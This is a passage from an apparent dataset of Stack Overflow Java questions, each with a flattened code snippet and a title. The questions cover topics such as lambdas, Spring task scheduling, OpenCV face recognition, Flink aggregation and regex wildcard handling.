primaryStage.setScene ( scene ) ; primaryStage.show ( ) ; } public static void main ( String [ ] args ) { launch ( args ) ; } }",Unable to resize correctly nested Pane JavaFX +Java,"I understand that a lambda in java can not throw a checked exception , but can throw a RuntimeException , but why does the below code require brackets ? Why ca n't you have ? Is it due to the assumption of the compiler that it would return in this instance an int , so therefor ca n't have a return of an exception , even though its thrown ?","Map < String , Integer > m = new HashMap < > ( ) ; Integer integer = m.computeIfAbsent ( `` '' , s - > { throw new IllegalArgumentException ( `` fail '' ) ; } ) ; m.computeIfAbsent ( `` '' , s - > throw new IllegalArgumentException ( `` fail '' ) ) ;",Why does a Java Lambda which throws a Runtime Exception require brackets ? +Java,"I have yet another Java question : ) I have read this thread , where it explains it clearly , but I have two bi-dimensional arrays that I would like to copy.I understand that this piece of codeBut my question is , how do I merge it with two arrays where Where c1 is the merging of aforementioned arrays ?","int [ ] array1and2 = new int [ array1.length + array2.length ] ; System.arraycopy ( array1 , 0 , array1and2 , 0 , array1.length ) ; System.arraycopy ( array2 , 0 , array1and2 , array1.length , array2.length ) ; int a1 [ ] [ ] = new int [ 3 ] [ 3 ] ; int b1 [ ] [ ] = new int [ 3 ] [ 3 ] ; int c1 [ ] [ ] = new int [ 3 ] [ 6 ] ;",Copying two bi-dimensional arrays to another bidimensional array Java +Java,"Let 's say I have a desktop app that acts as a garage for a bunch of cars : The desktop app has a `` simulation '' button that starts a new thread and starts calling methods on the Garage , Car , Wheel , etc etc . This simulation can take as long as 10 minutes to run . At the moment I have a class that looks like this : This code only does `` reads '' and never `` writes '' So the above can take a long time depending on how badly the cars need a service . While the above is happening , the user may continue working using the desktop app . They may choose to change the color of a car that is being used in the above transaction.My question is whether the above long transaction is going to prevent the changing of the car color ? i.e . the user changing the color of the car in the desktop app will be prevented from committing the change until the long transaction is finished ?",@ Entitypublic class Garage { private List < Car > cars = new ArrayList < Car > ( ) ; ... } beginTransaction ( ) ; Garage garage = garageDao.findGarage ( 1 ) ; List < Car > cars = garage.getCars ( ) ; for ( Car car : cars ) { // call methods on the car to lazily fetch other things like wheels ... } commitTransaction ( ) ;,"Multiple Threads accessing the database : one with long transaction , one with short transactions" +Java,"I 'm having a problem with the Sphinx voice recognition library for Java . I am using it to get input and handle it . The first time I get input , it works . The second time , it immediately answers itself before I have a chance to talk . After that , it just continues to answer itself . I tried allocating before every input and deallocating after every input but that does n't seem to work . What can I do ? Code : This is the method that handles getting input : What you need to know : This is being called from a MouseListener for a TrayIcon.speak ( String ) runs say < text > from the Runtime.matchInput ( String ) iterates over all registered listeners in an array and tests for matches.Update 2 : As per Nikolay Shmyrev 's answer , I tried allocating the microphone in the constructor and starting , then stopping , the microphone at the appropriate times in getInput ( ) .Here 's the SphinxBridge class : However , this still does n't work . The first , it works fine . However , for all subsequent times , it says Speak now and Try again at the same time.Solution : From the code above , I simply addedabove the line that starts recording .",public void getInput ( ) { if ( using ) return ; using = true ; if ( ! allocated ) { JTalk.speak ( `` Please hold . `` ) ; recognizer.allocate ( ) ; allocated = true ; } JTalk.speak ( `` Speak now . `` ) ; Result result = recognizer.recognize ( ) ; if ( result ! = null ) { String resultText = result.getBestFinalResultNoFiller ( ) ; JDispatcher.getInstance ( ) .matchInput ( resultText ) ; } else { JTalk.speak ( `` Try again . `` ) ; } using = false ; } public class SphinxBridge { private ConfigurationManager cm ; private Recognizer recognizer ; private Microphone microphone ; private boolean using = false ; public SphinxBridge ( ) { this.cm = new ConfigurationManager ( SphinxBridge.class.getResource ( `` input.config.xml '' ) ) ; this.recognizer = ( Recognizer ) cm.lookup ( `` recognizer '' ) ; this.microphone = ( Microphone ) cm.lookup ( `` microphone '' ) ; recognizer.allocate ( ) ; } public void getInput ( ) { if ( using ) return ; using = true ; if ( ! microphone.startRecording ( ) ) { JTalk.speak ( `` Can not start microphone . `` ) ; return ; } JTalk.speak ( `` Speak now . `` ) ; Result result = recognizer.recognize ( ) ; if ( result ! = null ) { String resultText = result.getBestFinalResultNoFiller ( ) ; JDispatcher.getInstance ( ) .matchInput ( resultText ) ; } else { JTalk.speak ( `` Try again . `` ) ; } microphone.stopRecording ( ) ; using = false ; } } microphone.clear ( ) ;,Java Sphinx `` Answers Itself '' +Java,"I have an android app imported to Android Studio . It has some Java libraries included . Everything works so far.The following method : prints always a depreciation warning:1 warningThis is not the only @ SuppressWarnings ( `` deprecation '' ) in my project . In other places the warning is not printed ... For example : From my AndroidManifest : How can I get rid of this warning message ? I do n't want to turn of warnings globally or something.EDIT : If I just call getDrawable with Theme parameter , of cause this happens on SDK15 device :","@ SuppressWarnings ( `` deprecation '' ) private Drawable getDrawable ( ) { if ( Build.VERSION.SDK_INT > Build.VERSION_CODES.KITKAT_WATCH ) return activity.getResources ( ) .getDrawable ( R.drawable.separator_gradient , activity.getTheme ( ) ) ; else return activity.getResources ( ) .getDrawable ( R.drawable.separator_gradient ) ; } : androidAnsatTerminal : compileDebugJavaC : \ ... \src\main\java\de\ansat\terminal\activity\widgets\druckAssistent\FahrkartenArtSelector.java:131 : warning : [ deprecation ] getDrawable ( int ) in Resources has been deprecated return activity.getResources ( ) .getDrawable ( R.drawable.separator_gradient ) ; ^ @ SuppressWarnings ( `` deprecation '' ) private void setBackgroundToNull ( ImageView imgRight ) { if ( android.os.Build.VERSION.SDK_INT < android.os.Build.VERSION_CODES.JELLY_BEAN ) { imgRight.setBackgroundDrawable ( null ) ; } else { imgRight.setBackground ( null ) ; } } < uses-sdk android : minSdkVersion= '' 15 '' android : targetSdkVersion= '' 21 '' / > java.lang.NoSuchMethodError : android.content.res.Resources.getDrawable at de.ansat.terminal.activity.widgets.druckAssistent.FahrkartenArtSelector $ 3.getDrawable ( FahrkartenArtSelector.java:128 )",gradle prints warning although SuppressWarnings is set +Java,"Obviously ResourceBundle requires a property file like syntax in the files it finds.We have a situation where we want to use entire files ( in our case HTML-files ) as `` values '' . This means that we do n't have keys as such . Well , maybe the filename would work as the key.Here 's a directory tree : Now we need logic to find the correct file based on the current locale . If the current locale is German and I 'm looking for html/content.html file , it should find html/content_de.html . It does n't necessarily need to load it right away . Is there some existing mechanism in Java ? Do we need to do this manually ? Due to some restrictions , we are currently planning to not use any third-party libraries . So if there is something available in Java 6 SE , it would be our best choice ; however , if you know of a third-party library , feel free to name it.EDIT # 1 : An obvious solution would be to have a key in messages.properties to name that HTML-file . While that would work it may become a pain in the butt on the long run ( and besides that I do n't think this would solve all our issues with this ) .EDIT # 2 : I forgot to say that this is a desktop application .",src/ main/ resources/ html/ content.html content_de.html content_fr.html content_es.html order.html order_de.html order_fr.html order_es.html,`` ResourceBundle '' For Entire Files ? +Java,This is keySet ( ) method on HashMap class from JDK . Why did the author assign the field keySet to local variable ks ? What is the difference between the above and the below ? Does this have something to do with thread-safety ?,public Set < K > keySet ( ) { Set < K > ks ; return ( ks = keySet ) == null ? ( keySet = new KeySet ( ) ) : ks ; } public Set < K > keySet ( ) { return ( keySet == null ? ( keySet = new KeySet ( ) ) : keySet ; },assign instance field to local variable +Java,"I am confused that which method Signature should I use for same purpose ? Both are working fine for me.1.2.Which is best practice to use from above ? I am really confused and ca n't find any advantage or dis-advantage of anyone ? Is there any ? If yes , please explain .","public < T , J > T findUniqueByCondition ( String tableName , String key , J value , Class < T > targetObject ) ; public < T > T findUniqueByCondition ( String tableName , String key , Object value , Class < T > targetObject ) ;",What is difference between Generic type and Object in method declaration ? +Java,"I 've the problem , that I want to create a scheduled task during runtime . The scheduled task should be triggered with a fixed rate . But now I 'm having the problem that the manual setup schedules are not triggered in an async way.The main problem is , that we do not have any fix point were we can start the scheduler . It should get created when I read a specific value ( 1 ) and gets destroyed when the value changes back ( 0 ) . Otherwise we could use the annotation configuration described in test 1 below.What I have tried so far:1 . Schedule with @ Scheduled ( fixedRate = 500L ) and @ AsyncCodeAlso having the @ EnableAsync and @ EnableScheduling annotations on class level.ResultCommentThis works as expected , but we are not able to use it , because we have to create the scheduler during runtime and destroy it after a specific time/input.2 . Setting up a ScheduledTaskRegistrarCodeThe OwnRunnable will also sleep 1 second and print the finish Text afterwardsResultCommentAs we can see the tasks run in a synchronous way and will not fit to our requirement.3 . Other testsAll other tests are similar to the test described in 2 but will use some other configurations of the ScheduledTaskRegistrar . The results are the same as in test 2.ConcurrentTaskScheduler instead of ThreadPoolTaskSchedulerConcurrentTaskScheduler with SimpleAsyncTaskExecutor as ConcurrentExecutorConcurrentTaskScheduler with ThreadPoolTaskExecutor as ConcurrentExecutorQuestion ( s ) How can I use the configuration described in test 2 but get the result of test 1 ? Is there a way to use the @ Async annotation with solution described in test 2 ? Or does anyone have a better/ another solution for my problem ?","@ Async @ Scheduled ( fixedRate = 500L ) public void annotationTest ( ) { UUID id = UUID.randomUUID ( ) ; log.warn ( `` Hello from Thread { } going to sleep '' , id ) ; try { Thread.sleep ( 1000L ) ; } catch ( InterruptedException e ) { e.printStackTrace ( ) ; } log.warn ( `` Finished Thread { } '' , id ) ; } 09:56:24.855 [ task-5 ] : Hello from Thread 3b5514b2-3b80-4641-bf12-2cd320c4b6e5 going to sleep09:56:25.355 [ task-6 ] : Hello from Thread e98514a7-e193-422b-9569-f7635deb33f8 going to sleep09:56:25.356 [ task-4 ] : Finished Thread d86f5f24-bffb-4ddd-93fe-2334ed48cf9109:56:25.854 [ task-7 ] : Hello from Thread cfc2ab03-4e7e-4a4a-aa08-41d696cb6df7 going to sleep09:56:25.855 [ task-5 ] : Finished Thread 3b5514b2-3b80-4641-bf12-2cd320c4b6e509:56:26.355 [ task-6 ] : Finished Thread e98514a7-e193-422b-9569-f7635deb33f8 // @ Configuration @ Beanpublic ScheduledTaskRegistrar scheduledTaskRegistrar ( ) { ScheduledTaskRegistrar scheduledTaskRegistrar = new ScheduledTaskRegistrar ( ) ; scheduledTaskRegistrar.setScheduler ( threadPoolTaskScheduler ( ) ) ; return scheduledTaskRegistrar ; } @ Beanpublic TaskScheduler threadPoolTaskScheduler ( ) { ThreadPoolTaskScheduler scheduler = new ThreadPoolTaskScheduler ( ) ; scheduler.setPoolSize ( 20 ) ; return scheduler ; } // @ Componentpublic void printMessages ( ) { scheduledTaskRegistrar.scheduleFixedRateTask ( new FixedRateTask ( new OwnRunnable ( ) , 500L , 0L ) ) ; } 10:13:56.983 [ TaskScheduler-1 ] : Finished Thread 73f70de9-35d9-47f0-801b-fb2857ab1c3410:13:56.984 [ TaskScheduler-3 ] : Hello from Thread 7ab16380-8dba-49e1-bf0d-de8235f81195 going to sleep10:13:57.984 [ TaskScheduler-3 ] : Finished Thread 7ab16380-8dba-49e1-bf0d-de8235f8119510:13:57.984 [ TaskScheduler-2 ] : Hello from Thread cc152d2e-f93b-4770-ac55-853a4dd6be97 going to sleep10:13:58.985 [ TaskScheduler-2 ] : Finished Thread cc152d2e-f93b-4770-ac55-853a4dd6be9710:13:58.985 [ TaskScheduler-4 ] : Hello from Thread 8d4510a4-773d-49f3-b51b-e58e425b0b68 going to sleep",Async scheduling with Spring ScheduledTaskRegistrar +Java,"I have an entity Activity that can be a parent or child.I have to sort the activities previously loaded from the database by their modification date , but still grouped by their parent activity.Rules : A child E1 activity can be updated while its parent P1 is n't . So the modificationDate of E1 can be greater than P1.If a child is updated , its parent has to rise top of list with all its childs Example : activity | modification dateAfter sorting , it should giveJava baseI do n't really know if it could be performed by a sql request , hope someone could provide me the solution.EDIT : It 's not a school project . I 'm making a rest service that provides database models . Proff for ppl thinking i 'm a liar : linkAt this moment , a get request on http : //localhost/activity provides a set activities unsorted , as json.My website calling this webservice also have unsorted activities , and the activity table is totally unreadable .","class Activity { long modificationDate ; Activity parentActivity ; Set < Activity > subActivities ; boolean active ; } E1 | 01 juneP2 | 01 juneP1 | 01 juneP3 | 02 juneE1 | 10 july P1 | 01 juneE1 | 10 julyE1 | 01 juneP3 | 02 juneP2 | 01 june Set < Activity > actives = getRepository ( ) .findActiveActivities ( ) .stream ( ) .sorted ( Comparator.comparing ( Activity : :getModificationDate ) .reversed ( ) ) .collect ( Collectors.toCollection ( LinkedHashSet : :new ) ) ; actives = actives.stream ( ) .sorted ( ( Activity a , Activity b ) - > { //sort logic } ) .collect ( Collectors.toCollection ( LinkedHashSet : :new ) ) ;",Java 8 advanced sort +Java,"I have a string that needs to be split based on the occurrence of a `` , '' ( comma ) , but need to ignore any occurrence of it that comes within a pair of parentheses.For example , B2B , ( A2C , AMM ) , ( BNC,1NF ) , ( 106 , A01 ) , AAA , AX3Should be split into","B2B , ( A2C , AMM ) , ( BNC,1NF ) , ( 106 , A01 ) , AAA , AX3",Split a String based on regex +Java,"I am trying to use an implementation of the abstract RichAggregateFunction in Flink . I want it to be `` rich '' because I need to store some state as part of the aggregator , and I can do this since I have access to the runtime context . My code is something like below : However , I get an UnsupportedOperationException sayingThis aggregation function can not be a RichFunction.I 'm clearly not using RichAggregateFunction correctly . Is there any example of how to properly use it ? Or should I be using a ProcessFunction for this sort of operation ? Thanks",stream.keyBy ( ... ) .window ( GlobalWindows.create ( ) ) .trigger ( ... ) .aggregate ( new MyRichAggregateFunction ( ) ) ;,Flink error on using RichAggregateFunction +Java,"In my app I 'm trying to do face recognition on a specific image using Open CV , here first I 'm training one image and then after training that image if I run face recognition on that image it successfully recognizes that trained face . However , when I turn to another picture of the same person recognition does not work . It just works on the trained image , so my question is how do I rectify it ? Update : What i want to do is that user should select image of a person from storage and then after training that selected image i want to fetch all images from storage which matches face of my trained imageHere is my activity class : My File Utils Class : These are the images i 'm trying to compare here face of person is same still in recognition it 's not matching !","public class MainActivity extends AppCompatActivity { private Mat rgba , gray ; private CascadeClassifier classifier ; private MatOfRect faces ; private ArrayList < Mat > images ; private ArrayList < String > imagesLabels ; private Storage local ; ImageView mimage ; Button prev , next ; ArrayList < Integer > imgs ; private int label [ ] = new int [ 1 ] ; private double predict [ ] = new double [ 1 ] ; Integer pos = 0 ; private String [ ] uniqueLabels ; FaceRecognizer recognize ; private boolean trainfaces ( ) { if ( images.isEmpty ( ) ) return false ; List < Mat > imagesMatrix = new ArrayList < > ( ) ; for ( int i = 0 ; i < images.size ( ) ; i++ ) imagesMatrix.add ( images.get ( i ) ) ; Set < String > uniqueLabelsSet = new HashSet < > ( imagesLabels ) ; // Get all unique labels uniqueLabels = uniqueLabelsSet.toArray ( new String [ uniqueLabelsSet.size ( ) ] ) ; // Convert to String array , so we can read the values from the indices int [ ] classesNumbers = new int [ uniqueLabels.length ] ; for ( int i = 0 ; i < classesNumbers.length ; i++ ) classesNumbers [ i ] = i + 1 ; // Create incrementing list for each unique label starting at 1 int [ ] classes = new int [ imagesLabels.size ( ) ] ; for ( int i = 0 ; i < imagesLabels.size ( ) ; i++ ) { String label = imagesLabels.get ( i ) ; for ( int j = 0 ; j < uniqueLabels.length ; j++ ) { if ( label.equals ( uniqueLabels [ j ] ) ) { classes [ i ] = classesNumbers [ j ] ; // Insert corresponding number break ; } } } Mat vectorClasses = new Mat ( classes.length , 1 , CvType.CV_32SC1 ) ; // CV_32S == int vectorClasses.put ( 0 , 0 , classes ) ; // Copy int array into a vector recognize = LBPHFaceRecognizer.create ( 3,8,8,8,200 ) ; recognize.train ( imagesMatrix , vectorClasses ) ; if ( SaveImage ( ) ) return true ; return false ; } public void cropedImages ( Mat mat ) { Rect rect_Crop=null ; for ( Rect face : faces.toArray ( ) ) { rect_Crop = new Rect ( face.x , face.y , face.width , face.height ) ; } Mat croped = new Mat ( mat , rect_Crop ) ; images.add ( croped ) ; } public boolean SaveImage ( ) { File path = new File ( Environment.getExternalStorageDirectory ( ) , `` TrainedData '' ) ; path.mkdirs ( ) ; String filename = `` lbph_trained_data.xml '' ; File file = new File ( path , filename ) ; recognize.save ( file.toString ( ) ) ; if ( file.exists ( ) ) return true ; return false ; } private BaseLoaderCallback callbackLoader = new BaseLoaderCallback ( this ) { @ Override public void onManagerConnected ( int status ) { switch ( status ) { case BaseLoaderCallback.SUCCESS : faces = new MatOfRect ( ) ; //reset images = new ArrayList < Mat > ( ) ; imagesLabels = new ArrayList < String > ( ) ; local.putListMat ( `` images '' , images ) ; local.putListString ( `` imagesLabels '' , imagesLabels ) ; images = local.getListMat ( `` images '' ) ; imagesLabels = local.getListString ( `` imagesLabels '' ) ; break ; default : super.onManagerConnected ( status ) ; break ; } } } ; @ Override protected void onResume ( ) { super.onResume ( ) ; if ( OpenCVLoader.initDebug ( ) ) { Log.i ( `` hmm '' , `` System Library Loaded Successfully '' ) ; callbackLoader.onManagerConnected ( BaseLoaderCallback.SUCCESS ) ; } else { Log.i ( `` hmm '' , `` Unable To Load System Library '' ) ; OpenCVLoader.initAsync ( OpenCVLoader.OPENCV_VERSION , this , callbackLoader ) ; } } @ Override protected void onCreate ( Bundle savedInstanceState ) { super.onCreate ( savedInstanceState ) ; setContentView ( R.layout.activity_main ) ; prev = findViewById ( R.id.btprev ) ; next = findViewById ( R.id.btnext ) ; mimage = findViewById ( R.id.mimage ) ; local = new Storage ( this ) ; imgs = new ArrayList ( ) ; imgs.add ( R.drawable.jonc ) ; imgs.add ( R.drawable.jonc2 ) ; imgs.add ( R.drawable.randy1 ) ; imgs.add ( R.drawable.randy2 ) ; imgs.add ( R.drawable.imgone ) ; imgs.add ( R.drawable.imagetwo ) ; mimage.setBackgroundResource ( imgs.get ( pos ) ) ; prev.setOnClickListener ( new View.OnClickListener ( ) { @ Override public void onClick ( View view ) { if ( pos ! =0 ) { pos -- ; mimage.setBackgroundResource ( imgs.get ( pos ) ) ; } } } ) ; next.setOnClickListener ( new View.OnClickListener ( ) { @ Override public void onClick ( View view ) { if ( pos < 5 ) { pos++ ; mimage.setBackgroundResource ( imgs.get ( pos ) ) ; } } } ) ; Button train = ( Button ) findViewById ( R.id.btn_train ) ; train.setOnClickListener ( new View.OnClickListener ( ) { @ RequiresApi ( api = Build.VERSION_CODES.KITKAT ) @ Override public void onClick ( View view ) { rgba = new Mat ( ) ; gray = new Mat ( ) ; Mat mGrayTmp = new Mat ( ) ; Mat mRgbaTmp = new Mat ( ) ; classifier = FileUtils.loadXMLS ( MainActivity.this ) ; Bitmap icon = BitmapFactory.decodeResource ( getResources ( ) , imgs.get ( pos ) ) ; Bitmap bmp32 = icon.copy ( Bitmap.Config.ARGB_8888 , true ) ; Utils.bitmapToMat ( bmp32 , mGrayTmp ) ; Utils.bitmapToMat ( bmp32 , mRgbaTmp ) ; Imgproc.cvtColor ( mGrayTmp , mGrayTmp , Imgproc.COLOR_BGR2GRAY ) ; Imgproc.cvtColor ( mRgbaTmp , mRgbaTmp , Imgproc.COLOR_BGRA2RGBA ) ; /*Core.transpose ( mGrayTmp , mGrayTmp ) ; // Rotate image Core.flip ( mGrayTmp , mGrayTmp , -1 ) ; // Flip along both*/ gray = mGrayTmp ; rgba = mRgbaTmp ; Imgproc.resize ( gray , gray , new Size ( 200,200.0f/ ( ( float ) gray.width ( ) / ( float ) gray.height ( ) ) ) ) ; if ( gray.total ( ) == 0 ) Toast.makeText ( getApplicationContext ( ) , `` Ca n't Detect Faces '' , Toast.LENGTH_SHORT ) .show ( ) ; classifier.detectMultiScale ( gray , faces,1.1,3,0|CASCADE_SCALE_IMAGE , new Size ( 30,30 ) ) ; if ( ! faces.empty ( ) ) { if ( faces.toArray ( ) .length > 1 ) Toast.makeText ( getApplicationContext ( ) , `` Mutliple Faces Are not allowed '' , Toast.LENGTH_SHORT ) .show ( ) ; else { if ( gray.total ( ) == 0 ) { Log.i ( `` hmm '' , `` Empty gray image '' ) ; return ; } cropedImages ( gray ) ; imagesLabels.add ( `` Baby '' ) ; Toast.makeText ( getApplicationContext ( ) , `` Picture Set As Baby '' , Toast.LENGTH_LONG ) .show ( ) ; if ( images ! = null & & imagesLabels ! = null ) { local.putListMat ( `` images '' , images ) ; local.putListString ( `` imagesLabels '' , imagesLabels ) ; Log.i ( `` hmm '' , `` Images have been saved '' ) ; if ( trainfaces ( ) ) { images.clear ( ) ; imagesLabels.clear ( ) ; } } } } else { /* Bitmap bmp = null ; Mat tmp = new Mat ( 250 , 250 , CvType.CV_8U , new Scalar ( 4 ) ) ; try { //Imgproc.cvtColor ( seedsImage , tmp , Imgproc.COLOR_RGB2BGRA ) ; Imgproc.cvtColor ( gray , tmp , Imgproc.COLOR_GRAY2RGBA , 4 ) ; bmp = Bitmap.createBitmap ( tmp.cols ( ) , tmp.rows ( ) , Bitmap.Config.ARGB_8888 ) ; Utils.matToBitmap ( tmp , bmp ) ; } catch ( CvException e ) { Log.d ( `` Exception '' , e.getMessage ( ) ) ; } */ /* mimage.setImageBitmap ( bmp ) ; */ Toast.makeText ( getApplicationContext ( ) , `` Unknown Face '' , Toast.LENGTH_SHORT ) .show ( ) ; } } } ) ; Button recognize = ( Button ) findViewById ( R.id.btn_recognize ) ; recognize.setOnClickListener ( new View.OnClickListener ( ) { @ Override public void onClick ( View view ) { if ( loadData ( ) ) Log.i ( `` hmm '' , `` Trained data loaded successfully '' ) ; rgba = new Mat ( ) ; gray = new Mat ( ) ; faces = new MatOfRect ( ) ; Mat mGrayTmp = new Mat ( ) ; Mat mRgbaTmp = new Mat ( ) ; classifier = FileUtils.loadXMLS ( MainActivity.this ) ; Bitmap icon = BitmapFactory.decodeResource ( getResources ( ) , imgs.get ( pos ) ) ; Bitmap bmp32 = icon.copy ( Bitmap.Config.ARGB_8888 , true ) ; Utils.bitmapToMat ( bmp32 , mGrayTmp ) ; Utils.bitmapToMat ( bmp32 , mRgbaTmp ) ; Imgproc.cvtColor ( mGrayTmp , mGrayTmp , Imgproc.COLOR_BGR2GRAY ) ; Imgproc.cvtColor ( mRgbaTmp , mRgbaTmp , Imgproc.COLOR_BGRA2RGBA ) ; /*Core.transpose ( mGrayTmp , mGrayTmp ) ; // Rotate image Core.flip ( mGrayTmp , mGrayTmp , -1 ) ; // Flip along both*/ gray = mGrayTmp ; rgba = mRgbaTmp ; Imgproc.resize ( gray , gray , new Size ( 200,200.0f/ ( ( float ) gray.width ( ) / ( float ) gray.height ( ) ) ) ) ; if ( gray.total ( ) == 0 ) Toast.makeText ( getApplicationContext ( ) , `` Ca n't Detect Faces '' , Toast.LENGTH_SHORT ) .show ( ) ; classifier.detectMultiScale ( gray , faces,1.1,3,0|CASCADE_SCALE_IMAGE , new Size ( 30,30 ) ) ; if ( ! faces.empty ( ) ) { if ( faces.toArray ( ) .length > 1 ) Toast.makeText ( getApplicationContext ( ) , `` Mutliple Faces Are not allowed '' , Toast.LENGTH_SHORT ) .show ( ) ; else { if ( gray.total ( ) == 0 ) { Log.i ( `` hmm '' , `` Empty gray image '' ) ; return ; } recognizeImage ( gray ) ; } } else { Toast.makeText ( getApplicationContext ( ) , `` Unknown Face '' , Toast.LENGTH_SHORT ) .show ( ) ; } } } ) ; } private void recognizeImage ( Mat mat ) { Rect rect_Crop=null ; for ( Rect face : faces.toArray ( ) ) { rect_Crop = new Rect ( face.x , face.y , face.width , face.height ) ; } Mat croped = new Mat ( mat , rect_Crop ) ; recognize.predict ( croped , label , predict ) ; int indice = ( int ) predict [ 0 ] ; Log.i ( `` hmmcheck : '' , String.valueOf ( label [ 0 ] ) + '' : `` +String.valueOf ( indice ) ) ; if ( label [ 0 ] ! = -1 & & indice < 125 ) Toast.makeText ( getApplicationContext ( ) , `` Welcome `` +uniqueLabels [ label [ 0 ] -1 ] + '' '' , Toast.LENGTH_SHORT ) .show ( ) ; else Toast.makeText ( getApplicationContext ( ) , `` You 're not the right person '' , Toast.LENGTH_SHORT ) .show ( ) ; } private boolean loadData ( ) { String filename = FileUtils.loadTrained ( ) ; if ( filename.isEmpty ( ) ) return false ; else { recognize.read ( filename ) ; return true ; } } } public class FileUtils { private static String TAG = FileUtils.class.getSimpleName ( ) ; private static boolean loadFile ( Context context , String cascadeName ) { InputStream inp = null ; OutputStream out = null ; boolean completed = false ; try { inp = context.getResources ( ) .getAssets ( ) .open ( cascadeName ) ; File outFile = new File ( context.getCacheDir ( ) , cascadeName ) ; out = new FileOutputStream ( outFile ) ; byte [ ] buffer = new byte [ 4096 ] ; int bytesread ; while ( ( bytesread = inp.read ( buffer ) ) ! = -1 ) { out.write ( buffer , 0 , bytesread ) ; } completed = true ; inp.close ( ) ; out.flush ( ) ; out.close ( ) ; } catch ( IOException e ) { Log.i ( TAG , `` Unable to load cascade file '' + e ) ; } return completed ; } public static CascadeClassifier loadXMLS ( Activity activity ) { InputStream is = activity.getResources ( ) .openRawResource ( R.raw.lbpcascade_frontalface ) ; File cascadeDir = activity.getDir ( `` cascade '' , Context.MODE_PRIVATE ) ; File mCascadeFile = new File ( cascadeDir , `` lbpcascade_frontalface_improved.xml '' ) ; FileOutputStream os = null ; try { os = new FileOutputStream ( mCascadeFile ) ; byte [ ] buffer = new byte [ 4096 ] ; int bytesRead ; while ( ( bytesRead = is.read ( buffer ) ) ! = -1 ) { os.write ( buffer , 0 , bytesRead ) ; } is.close ( ) ; os.close ( ) ; } catch ( FileNotFoundException e ) { e.printStackTrace ( ) ; } catch ( IOException e ) { e.printStackTrace ( ) ; } return new CascadeClassifier ( mCascadeFile.getAbsolutePath ( ) ) ; } public static String loadTrained ( ) { File file = new File ( Environment.getExternalStorageDirectory ( ) , `` TrainedData/lbph_trained_data.xml '' ) ; return file.toString ( ) ; } }",Open CV Face Recognition not accurate +Java,I came into this problemn today and I could not figure out why groovy array is not scaling better than Map when it gets bigger.In my example I create an Map ( LinkedHashMap ) and an String array ( String [ ] ) . Then I iterate from 0 to 10^7 inserting i into the Map or Array . I do it 10 times to be sure that outliers do n't mess the results.The output was unexpected since the Map had a better performance then Array : I made the same experiment in java : and the output was expected ( Array faster than Map ) : My question is : why the Map is faster than the Array when using Groovy ?,"int max = 10**7int numTests = 10long totalTimeMap = 0long totalTimeArray = 0numTests.times { long start = System.currentTimeMillis ( ) Map m = [ : ] max.times { m [ it ] = `` $ { it } '' } long end = System.currentTimeMillis ( ) totalTimeMap += ( end-start ) } numTests.times { long start = System.currentTimeMillis ( ) String [ ] s = new String [ max ] max.times { s [ it ] = `` $ { it } '' } long end = System.currentTimeMillis ( ) totalTimeArray += ( end-start ) } println `` Map : $ { totalTimeMap } '' println `` Array : $ { totalTimeArray } '' Map : 49361Array : 101123 public static void main ( String [ ] args ) { int max = 10000000 ; int numTests = 10 ; long totalTimeMap = 0 ; long totalTimeArray = 0 ; for ( int i=0 ; i < numTests ; i++ ) { long start = System.currentTimeMillis ( ) ; Map m = new LinkedHashMap ( ) ; for ( int j=0 ; j < max ; j++ ) { m.put ( j , `` '' + j ) ; } long end = System.currentTimeMillis ( ) ; totalTimeMap += ( end-start ) ; } for ( int i=0 ; i < numTests ; i++ ) { long start = System.currentTimeMillis ( ) ; String [ ] s = new String [ max ] ; for ( int j=0 ; j < max ; j++ ) { s [ j ] = `` '' + j ; } long end = System.currentTimeMillis ( ) ; totalTimeArray += ( end-start ) ; } System.out.println ( `` Map : `` + totalTimeMap ) ; System.out.println ( `` Array : `` + totalTimeArray ) ; } Map : 34564Array : 12822",Why Groovy 's Map scales better than Array ? +Java,Why am I receiving a length of 3 instead of 4 ? How can I fix this to give the proper length ?,String s= '' +9851452 ; ; FERRARI ; ; '' ; String split [ ] =s.split ( `` [ ; ] '' ) ; System.out.println ( split.length ) ;,Java Split - wrong length +Java,"I want to allow the two main wildcards ? and * to filter my data.Here is how I 'm doing now ( as I saw on many websites ) : But should n't we escape all the other regex special chars , like | or ( , etc. ? And also , maybe we could preserve ? and * if they are preceded by a \ ? For example , something like : What do you think about it ? If you agree , am I missing any other regex special char ? Edit # 1 ( after having taken into account dan1111 's and m.buettner 's advices ) : What about this one ? Edit # 2 ( after having taken into account dan1111 's advices ) : Goal in sight ?","public boolean contains ( String data , String filter ) { if ( data == null || data.isEmpty ( ) ) { return false ; } String regex = filter.replace ( `` . `` , `` [ . ] '' ) .replace ( `` ? `` , `` . '' ) .replace ( `` * '' , `` . * '' ) ; return Pattern.matches ( regex , data ) ; } filter.replaceAll ( `` ( [ $ |\\ [ \\ ] { } ( ) , .+^- ] ) '' , `` \\\\ $ 1 '' ) // 1. escape regex special chars , but ? , * and \ .replaceAll ( `` ( [ ^\\\\ ] |^ ) \\ ? `` , `` $ 1 . '' ) // 2. replace any ? that is n't preceded by a \ by . .replaceAll ( `` ( [ ^\\\\ ] |^ ) \\* '' , `` $ 1 . * '' ) // 3. replace any * that is n't preceded by a \ by . * .replaceAll ( `` \\\\ ( [ ^ ? * ] | $ ) '' , `` \\\\\\\\ $ 1 '' ) ; // 4. replace any \ that is n't followed by a ? or a * ( possibly due to step 2 and 3 ) by \\ // replace any even number of backslashes by a *regex = regex.replaceAll ( `` ( ? < ! \\\\ ) ( \\\\\\\\ ) + ( ? ! \\\\ ) '' , `` * '' ) ; // reduce redundant wildcards that are n't preceded by a \regex = regex.replaceAll ( `` ( ? < ! \\\\ ) [ ? ] * [ * ] [ * ? ] + '' , `` * '' ) ; // escape regexps special chars , but \ , ? and *regex = regex.replaceAll ( `` ( [ |\\ [ \\ ] { } ( ) , .^ $ +- ] ) '' , `` \\\\ $ 1 '' ) ; // replace ? that are n't preceded by a \ by .regex = regex.replaceAll ( `` ( ? < ! \\\\ ) [ ? ] '' , `` . `` ) ; // replace * that are n't preceded by a \ by . *regex = regex.replaceAll ( `` ( ? < ! \\\\ ) [ * ] '' , `` . * '' ) ; // replace any even number of backslashes by a *regex = regex.replaceAll ( `` ( ? < ! \\\\ ) ( \\\\\\\\ ) + ( ? ! \\\\ ) '' , `` * '' ) ; // reduce redundant wildcards that are n't preceded by a \regex = regex.replaceAll ( `` ( ? < ! \\\\ ) [ ? ] * [ * ] [ * ? ] + '' , `` * '' ) ; // escape regexps special chars ( if not already escaped by user ) , but \ , ? and *regex = regex.replaceAll ( `` ( ? < ! \\\\ ) ( [ |\\ 